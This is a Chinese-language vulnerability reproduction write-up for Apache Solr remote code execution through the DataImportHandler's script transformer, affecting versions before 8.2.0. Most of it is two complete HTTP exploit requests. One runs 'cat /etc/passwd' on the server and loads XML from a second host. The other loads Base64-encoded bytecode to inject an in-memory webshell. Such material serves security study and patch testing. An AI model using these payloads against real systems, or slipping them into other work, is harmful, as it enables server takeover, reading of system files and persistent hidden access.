Solr 远程代码执行漏洞

声明

本文版权归原作者所有,未经允许禁止转载。

漏洞原理

Solr 默认后台管理未作鉴权,其可选模块 DataImportHandler (DIH) 配置存在执行 JS 引擎代码的风险,利用该功能可以直接获取服务器权限。

影响版本

Apache Solr < 8.2.0

前提条件

获取后台权限。

漏洞复现

注意

POC 中的 http://x.x.x.x/poc.xml 必须是可被目标 Solr 访问的 xml 地址。

poc.xml

<?xml version="1.0" encoding="UTF-8"?><RDF><item/></RDF>

选择任意一个,Execute 并抓包,开启 debug 以及 Verbose 用于查看输出:

命令执行

POC:

POST /solr/data_zhjs/dataimport HTTP/1.1
Host: 172.26.17.161:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 939
Origin: http://172.26.17.161:8080
Connection: keep-alive
Referer: http://172.26.17.161:8080/solr/
Idempotency-Key: "12400408040867194183"
Priority: u=0
 
command=full-import&clean=true&commit=true&debug=true&wt=json&indent=true&verbose=true&optimize=false&dataConfig=<@urlencode_all><dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(row){ 
            var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("cat /etc/passwd").getInputStream()));
            var result = [];
            while(true) {
              var oneline = bufReader.readLine();
              result.push( oneline );
              if(!oneline) break; 
            }
            row.put("title",result.join("\n\r")); 
            return row;
          }
  ]]></script>
  <document>
    <entity name="whatever"
            url="http://172.26.17.160:9060/console/css/css.xml"
           processor="XPathEntityProcessor"
            forEach="/RDF/item"
            transformer="script:poc" />
  </document>
</dataConfig></@urlencode_all>

注入内存马

POST /solr/data_zhjs/dataimport HTTP/1.1
Host: 172.26.17.161:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 13184
Origin: http://172.26.17.161:8080
Connection: keep-alive
Referer: http://172.26.17.161:8080/solr/
Idempotency-Key: "12400408040867194183"
Priority: u=0
 
command=full-import&clean=true&commit=true&debug=true&wt=json&indent=true&verbose=true&optimize=false&dataConfig=<@urlencode_all>
<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(row){ 
            try{
                var classBytes = null;
              var c = java.lang.Thread.currentThread().getContextClassLoader();
                            var code = "<Base64字节码>";
              var clazz = java.lang.Class.forName("sun.misc.BASE64Decoder");
                        classBytes = clazz.getMethod("decodeBuffer",java.lang.String.class).invoke(clazz.newInstance(), code);
              var byteArray = Java.type("byte[]");
                        var int = Java.type("int");
              var defineClassMethod = java.lang.ClassLoader.class.getDeclaredMethod("defineClass",byteArray.class,int.class,int.class);
                        defineClassMethod.setAccessible(true);
                        var cc = defineClassMethod.invoke(c,classBytes,0,classBytes.length);
              var dd = cc.newInstance();
                            row.put("title",dd);
            }catch (e){
              row.put("title",e.message);
            }
            return row;
          }
  ]]></script>
  <document>
    <entity name="whatever"
            url="http://x.x.x.x/poc.xml"
            processor="XPathEntityProcessor"
            forEach="/RDF/item"
            transformer="script:poc" />
 </document>
</dataConfig>
</@urlencode_all>

参考链接

https://github.com/vulhub/vulhub/blob/master/solr/CVE-2019-0193/README.zh-cn.md

https://wjlshare.com/archives/1642